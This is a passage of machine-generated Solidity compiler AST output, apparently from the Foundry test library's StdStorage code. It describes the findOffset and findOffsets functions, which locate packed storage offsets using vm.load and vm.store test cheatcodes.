1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"id":7665,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2794:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2789:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7667,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2788:13:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7668,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"2757:44:8","trueExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7662,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":7657,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2765:1:8","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"nodeType":"BinaryOperation","operator":"<<","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7660,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"323535","id":7658,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2771:3:8","typeDescriptions":{"typeIdentifier":"t_rational_255_by_1","typeString":"int_const 255"},"value":"255"},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":7659,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2777:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2771:12:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7661,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2770:14:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2765:19:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7663,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2764:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2736:65:8"},{"expression":{"arguments":[{"expression":{"id":7673,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7633,"src":"2824:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7674,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2829:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"2824:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7675,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7635,"src":"2838:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"id":7678,"name":"valueToPut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7655,"src":"2852:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7677,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2844:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7676,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2844:7:8","typeDescriptions":{}}},"id":7679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2844:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7670,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"2815:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2818:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"2815:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7680,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2815:49:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7681,"nodeType":"ExpressionStatement","src":"2815:49:8"},{"assignments":[7683,7685],"declarations":[{"constant":false,"id":7683,"mutability":"mutable","name":"success","nameLocation":"2885:7:8","nodeType":"VariableDeclaration","scope":7705,"src":"2880:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7682,"name":"bool","nodeType":"ElementaryTypeName","src":"2880:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7685,"mutability":"mutable","name":"data","nameLocation":"2902:4:8","nodeType":"VariableDeclaration","scope":7705,"src":"2894:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7684,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2894:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7689,"initialValue":{"arguments":[{"id":7687,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7633,"src":"2921:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7686,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"2910:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7688,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2910:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"2879:47:8"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":7698,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7690,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7683,"src":"2945:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7696,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":7693,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7685,"src":"2965:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":7692,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2957:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7691,"name":"uint256","nodeType":"ElementaryTypeName","src":"2957:7:8","typeDescriptions":{}}},"id":7694,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2957:13:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":7695,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2973:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2957:17:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":7697,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2956:19:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2945:30:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7704,"nodeType":"IfStatement","src":"2941:90:8","trueBody":{"id":7703,"nodeType":"Block","src":"2977:54:8","statements":[{"expression":{"components":[{"hexValue":"74727565","id":7699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3003:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"id":7700,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"3009:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7701,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3002:14:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"functionReturnParameters":7643,"id":7702,"nodeType":"Return","src":"2995:21:8"}]}}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7648,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2698:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"323536","id":7649,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2707:3:8","typeDescriptions":{"typeIdentifier":"t_rational_256_by_1","typeString":"int_const 256"},"value":"256"},"src":"2698:12:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7706,"initializationExpression":{"assignments":[7645],"declarations":[{"constant":false,"id":7645,"mutability":"mutable","name":"offset","nameLocation":"2686:6:8","nodeType":"VariableDeclaration","scope":7706,"src":"2678:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7644,"name":"uint256","nodeType":"ElementaryTypeName","src":"2678:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7647,"initialValue":{"hexValue":"30","id":7646,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2695:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"2678:18:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":7652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"2712:8:8","subExpression":{"id":7651,"name":"offset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7645,"src":"2712:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7653,"nodeType":"ExpressionStatement","src":"2712:8:8"},"nodeType":"ForStatement","src":"2673:368:8"},{"expression":{"components":[{"hexValue":"66616c7365","id":7707,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3058:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"hexValue":"30","id":7708,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3065:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":7709,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"3057:10:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":7643,"id":7710,"nodeType":"Return","src":"3050:17:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"findOffset","nameLocation":"2569:10:8","parameters":{"id":7638,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7633,"mutability":"mutable","name":"self","nameLocation":"2599:4:8","nodeType":"VariableDeclaration","scope":7712,"src":"2580:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7632,"nodeType":"UserDefinedTypeName","pathNode":{"id":7631,"name":"StdStorage","nameLocations":["2580:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"2580:10:8"},"referencedDeclaration":7427,"src":"2580:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7635,"mutability":"mutable","name":"slot","nameLocation":"2613:4:8","nodeType":"VariableDeclaration","scope":7712,"src":"2605:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7634,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2605:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":7637,"mutability":"mutable","name":"left","nameLocation":"2624:4:8","nodeType":"VariableDeclaration","scope":7712,"src":"2619:9:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7636,"name":"bool","nodeType":"ElementaryTypeName","src":"2619:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2579:50:8"},"returnParameters":{"id":7643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7640,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7712,"src":"2648:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7639,"name":"bool","nodeType":"ElementaryTypeName","src":"2648:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7642,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7712,"src":"2654:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7641,"name":"uint256","nodeType":"ElementaryTypeName","src":"2654:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2647:15:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7772,"nodeType":"FunctionDefinition","src":"3080:534:8","nodes":[],"body":{"id":7771,"nodeType":"Block","src":"3182:432:8","nodes":[],"statements":[{"assignments":[7727],"declarations":[{"constant":false,"id":7727,"mutability":"mutable","name":"prevSlotValue","nameLocation":"3200:13:8","nodeType":"VariableDeclaration","scope":7771,"src":"3192:21:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3192:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7734,"initialValue":{"arguments":[{"expression":{"id":7730,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3224:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7731,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3229:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"3224:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7732,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3238:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7728,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"3216:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7729,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3219:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"3216:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":7733,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3216:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"3192:51:8"},{"assignments":[7736,7738],"declarations":[{"constant":false,"id":7736,"mutability":"mutable","name":"foundLeft","nameLocation":"3260:9:8","nodeType":"VariableDeclaration","scope":7771,"src":"3255:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7735,"name":"bool","nodeType":"ElementaryTypeName","src":"3255:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7738,"mutability":"mutable","name":"offsetLeft","nameLocation":"3279:10:8","nodeType":"VariableDeclaration","scope":7771,"src":"3271:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7737,"name":"uint256","nodeType":"ElementaryTypeName","src":"3271:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7744,"initialValue":{"arguments":[{"id":7740,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3304:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":7741,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3310:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"hexValue":"74727565","id":7742,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3316:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":7739,"name":"findOffset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7712,"src":"3293:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$_t_bool_$returns$_t_bool_$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bytes32,bool) returns (bool,uint256)"}},"id":7743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3293:28:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"nodeType":"VariableDeclarationStatement","src":"3254:67:8"},{"assignments":[7746,7748],"declarations":[{"constant":false,"id":7746,"mutability":"mutable","name":"foundRight","nameLocation":"3337:10:8","nodeType":"VariableDeclaration","scope":7771,"src":"3332:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7745,"name":"bool","nodeType":"ElementaryTypeName","src":"3332:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7748,"mutability":"mutable","name":"offsetRight","nameLocation":"3357:11:8","nodeType":"VariableDeclaration","scope":7771,"src":"3349:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7747,"name":"uint256","nodeType":"ElementaryTypeName","src":"3349:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7754,"initialValue":{"arguments":[{"id":7750,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3383:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":7751,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3389:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"hexValue":"66616c7365","id":7752,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3395:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":7749,"name":"findOffset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7712,"src":"3372:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$_t_bool_$returns$_t_bool_$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bytes32,bool) returns (bool,uint256)"}},"id":7753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3372:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"nodeType":"VariableDeclarationStatement","src":"3331:70:8"},{"expression":{"arguments":[{"expression":{"id":7758,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3506:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7759,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3511:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"3506:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7760,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3520:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":7761,"name":"prevSlotValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7727,"src":"3526:13:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7755,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"3497:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3500:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"3497:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7762,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3497:43:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7763,"nodeType":"ExpressionStatement","src":"3497:43:8"},{"expression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":7766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7764,"name":"foundLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7736,"src":"3558:9:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":7765,"name":"foundRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7746,"src":"3571:10:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3558:23:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":7767,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7738,"src":"3583:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":7768,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7748,"src":"3595:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7769,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3557:50:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"tuple(bool,uint256,uint256)"}},"functionReturnParameters":7725,"id":7770,"nodeType":"Return","src":"3550:57:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"findOffsets","nameLocation":"3089:11:8","parameters":{"id":7718,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7715,"mutability":"mutable","name":"self","nameLocation":"3120:4:8","nodeType":"VariableDeclaration","scope":7772,"src":"3101:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7714,"nodeType":"UserDefinedTypeName","pathNode":{"id":7713,"name":"StdStorage","nameLocations":["3101:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"3101:10:8"},"referencedDeclaration":7427,"src":"3101:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7717,"mutability":"mutable","name":"slot","nameLocation":"3134:4:8","nodeType":"VariableDeclaration","scope":7772,"src":"3126:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7716,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3126:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"3100:39:8"},"returnParameters":{"id":7725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7720,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7772,"src":"3158:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7719,"name":"bool","nodeType":"ElementaryTypeName","src":"3158:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7722,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7772,"src":"3164:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7721,"name":"uint256","nodeType":"ElementaryTypeName","src":"3164:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7724,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1